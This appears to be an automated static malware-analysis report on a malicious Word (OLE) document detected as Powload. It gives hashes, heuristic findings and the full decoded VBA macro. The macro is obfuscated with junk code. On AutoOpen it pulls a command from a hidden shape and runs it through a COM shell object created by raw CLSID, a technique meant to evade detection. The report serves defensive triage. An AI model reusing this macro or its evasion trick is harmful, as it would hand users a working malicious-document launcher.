Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79c072a5b13962de…

MALICIOUS

Office (OLE)

83.1 KB Created: 2018-11-26 17:20:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: ffa29f5fd6f9a78bef299919a62452da SHA-1: 08ded642e7e84d0f880f2a5b86e3b2943aea87e3 SHA-256: 79c072a5b13962def3c4ac71920778b0eebe58f0bfd23ee2fa2a10b874762bb3
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Powload-6813877-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6813877-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
          End Select
Set wcsKMPW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + oDCnE)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
          End Select
Set wcsKMPW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + oDCnE)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6106 bytes
SHA-256: 80088535d6e35e3a1f348a690e586e68d18fc8b706bed583dfe7937267cae9fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
106 of 165 identifiers look randomly generated (e.g. 'RmMwpSwzcc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hiNObQiWDYEE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      Select Case svJGmbYH
         Case 158480105
            TuBdzI = 100818150
            hmjhSX = CLng(154629934)
         Case 49973352
            cjjUq = Oct(UdNHUR)
            cVjnBSWqW = WmjUEKcm
         Case 229420376
            XwXpwdhh = CDate(mButq)
            LBfWF = Int(245792762 * FvMiGs)
      End Select
   On Error Resume Next
      Select Case VMEHSz
         Case 34007429
            GowvAmP = 98085453
            kziGUN = CLng(193900659)
         Case 272172727
            dnCpq = Oct(zaHzjr)
            lRNZj = nKKoiC
         Case 326384366
            YMAzbSR = CDate(RZQznva)
            RfWcMRt = Int(308330359 * SBqSwXn)
      End Select
Set lVlmTf = Shapes("MFuXFEawd")
   On Error Resume Next
      Select Case EAXowprIh
         Case 175636958
            wXJdjff = 128190369
            MhtzIuLK = CLng(271785719)
         Case 90164233
            wobRmTdEc = Oct(ktNuIEf)
            NAILIlWHZ = DdjTUjZ
         Case 53542201
            sqNBbrLbo = CDate(CApfScNm)
            fquitwAw = Int(318113877 * ZhVzJn)
      End Select
   On Error Resume Next
      Select Case JoUOcBwXI
         Case 230861826
            TlVhf = 332137049
            SJzlW = CLng(130925528)
         Case 294820247
            IGuYNbA = Oct(NptwLw)
            ZPlCQDs = rKimw
         Case 307295000
            RAVDtqc = CDate(ViTWHslC)
            VlYVlRcVP = Int(35465044 * NioBU)
      End Select
RmMwpSwzcc = "" + hUzJicWi + NrGumcEz + CbsOLP + lVlmTf.TextFrame.TextRange.Text + zGbiwSi + AjsRcOE + hMBWUlB + SniXEq + iFvOspT
   On Error Resume Next
      Select Case ESQbq
         Case 186034980
            nqnPqlwta = 157518840
            kBuvzR = CLng(8524808)
         Case 226275858
            wXYDs = Oct(zrTuzHmjt)
            qRZinI = zGFzLITz
         Case 174598431
            UzQSj = CDate(woEZjaF)
            VAjIzbDTn = Int(250341407 * wntliAv)
      End Select
   On Error Resume Next
      Select Case GpwYuQU
         Case 341170000
            ULWnN = 65174622
            Tvcnot = CLng(59963420)
         Case 304429923
            qRIwnrDnb = Oct(joiLPU)
            cjudZWu = jADdmM
         Case 216384215
            aEwMC = CDate(dHjMza)
            pjMTRQc = Int(881678 * QuNjDq)
      End Select
Set wcsKMPW = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + oDCnE)
   On Error Resume Next
      Select Case IASHwlw
         Case 133569956
            JAwPfV = 275199839
            vqKpvwY = CLng(272086867)
         Case 201557375
            jkhERFNw = Oct(FmaGlHi)
            wKKhE = rwLwkN
         Case 10287449
            STwSkfFjq = CDate(hvkrV)
            YhNzcfUG = Int(179567938 * qGFGdlX)
      End Select
   On Error Resume Next
      Select Case rddhalTuh
         Case 49742923
            bKNzjk = 239731613
            kDbOC = CLng(126704641)
         Case 294347142
            DBbniZTz = Oct(zCzKFiq)
            FfAwD = bbDiqPOa
         Case 92977947
            wPsFUkCq = CDate(bjhmsf)
            kHzosrA = Int(136626617 * Mfqdh)
      End Select
Const msRtiiVkif = 0
   On Error Resume Next
      Select Case dkwwvlUF
         Case 266552878
            NwmpbsZW = 93054126
            CGBAtNiO = CLng(184704370)
         Case 27925700
            quKBHFH = Oct(PTMXcYqt)
            WLPRsu = XizEhGGd
         Case 238627178
            XBboT = CDate(RhzNpiZc)
            USrQo = Int(86073492 * zaiZHDHIM)
      End Select
   On Error Resume Next
      Select Case XHXVoLC
         Case 337628381
            OaIaOjfPR = 313448323
            HnzRfNifn = CLng(6268906)
         Case 98967505
            tqAzk = Oct(XBhVOfwW)
            YSpNtn = RjHGqa
         Case 216535126
            LuzUPjN = CDate(ufutPmZT)
            IwGNwn = Int(144348258 * iZRpdt)
      End Select
   On Error Resume Next
      Select Case XiuGAsL
         Case 133431020
            BwMDZWVOn = 195302397
            zVuCEBtjJ = CLng(206016644)
         Case 205874979
            AFiGP = Oct(uYbidDfsj)
            izjqaL = CjrBzwi
         Case 72672446
            VoMwuQ = CDate(ZtFTV)
            rXLSaCLwo = Int(223441697 * hcWXnuaw)
      End Select
   On Error Resume Next
      Select Case fSdCzOCUT
         Case 330402462
            lJUGT = 61122447
            zqUwhjp = CLng(72977763)
         Case 332239886
            nfZotZk = Oct(QfnkcCjiI)
            VNvUKUuVc = luNmQjho
         Case 162631142
            rjjHCd = CDate(NOSPCaup)
            ZSUEtYwD = Int(92880479 * RBUvVuG)
      End Select
wcsKMPW.Run! RmMwpSwzcc, msRtiiVkif
   On Error Resume Next
      Select Case mdYVJT
         Case 148734925
            aNlDjwL = 61180762
            iTfvkw = CLng(312729280)
         Case 276100280
            mXDzI = Oct(JnaqS)
            FcPdll = OVPpvG
         Case 264584985
            wVBjc = CDate(GhzWaEku)
            XUrIYqPRw = Int(72256778 * bjXhItU)
      End Select
   On Error Resume Next
      Select Case VuoojF
         Case 73466885
            jRVTUnw = 27064471
            hJijM = CLng(84534177)
         Case 168990742
            pjFSkfP = Oct(BrGotFtBu)
            aMRDHYPKU = zlJhOPrZ
         Case 37865026
            zlFcTv = CDate(PKcQhmMmN)
            mYhDZ = Int(70199001 * sPiYZiNU)
      End Select
   On Error Resume Next
      Select Case tUzUr
         Case 143845965
            mQNIskK = 20730742
            mtCslLtb = CLng(143378345)
         Case 36809092
            WjUUis = Oct(fVCmDk)
            dljfz = RAmuw
         Case 88674424
            QiaWzmBDC = CDate(sizYfhizq)
            qIZMvW = Int(772506 * VzaYQ)
      End Select
End Sub

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